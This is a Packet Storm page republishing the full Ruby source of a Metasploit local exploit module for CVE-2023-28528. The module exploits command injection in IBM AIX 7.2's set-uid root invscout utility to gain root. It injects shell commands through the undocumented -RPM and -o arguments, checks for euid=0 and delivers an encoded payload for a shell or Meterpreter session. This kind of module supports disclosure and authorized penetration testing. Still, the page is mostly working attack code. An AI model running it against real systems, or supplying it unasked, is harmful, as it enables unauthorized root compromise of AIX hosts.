what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

IBM AIX 7.2 inscout Privilege Escalation

IBM AIX 7.2 inscout Privilege Escalation
Posted May 18, 2023
Authored by Tim Brown, Brendan Coles | Site metasploit.com

This Metasploit module exploits a command injection vulnerability in IBM AIX invscout set-uid root utility present in AIX 7.2 and earlier. The undocumented -rpm argument can be used to install an RPM file; and the undocumented -o argument passes arguments to the rpm utility without validation, leading to command injection with effective-uid root privileges. This module has been tested successfully on AIX 7.2.

tags | exploit, root
systems | aix
advisories | CVE-2023-28528
SHA-256 | f3e0281ebf8cc8be1ea81e0032c40dcbde5f2db791362ec9903abdd761d6ef66

IBM AIX 7.2 inscout Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'invscout RPM Privilege Escalation',
'Description' => %q{
This module exploits a command injection vulnerability in IBM AIX
invscout set-uid root utility present in AIX 7.2 and earlier.

The undocumented -rpm argument can be used to install an RPM file;
and the undocumented -o argument passes arguments to the rpm utility
without validation, leading to command injection with effective-uid
root privileges.

This module has been tested successfully on AIX 7.2.
},
'Author' => [
'Tim Brown', # Discovery and PoC
'bcoles' # Metasploit
],
'References' => [
['CVE', '2023-28528'],
['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2023-1691'],
],
'Platform' => %w[unix aix],
'Arch' => ARCH_CMD,
'Payload' => {
'BadChars' => "\x00\x0a\x0d\x22",
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet openssl'
}
},
'DefaultOptions' => {
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependFork' => true
},
'SessionTypes' => %w[shell meterpreter],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-04-24',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('INVSCOUT_PATH', [true, 'Path to invscout executable', '/usr/sbin/invscout'])
])
end

def invscout_path
datastore['INVSCOUT_PATH']
end

def check
return CheckCode::Safe("#{invscout_path} is not executable") unless executable?(invscout_path)

res = execute_command('id')
id = res.to_s.scan(/^(.*?uid=.*?)$/).flatten.first.to_s

return CheckCode::Safe("#{invscout_path} is not vulnerable.") unless id.include?('euid=0')

CheckCode::Vulnerable("Output: #{id}")
end

def execute_command(cmd, _opts = {})
rpm_path = "#{Rex::Text.rand_text_alphanumeric(8..12)}.rpm"
rpm_args = "; #{cmd}; echo "
res = cmd_exec("#{invscout_path} -RPM #{rpm_path} -o \"#{rpm_args}\"")
vprint_line(res) unless res.blank?
res
end

def exploit
execute_command(payload.encoded)
end
end
Login or Register to add favorites

File Archive:

December 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    0 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    32 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close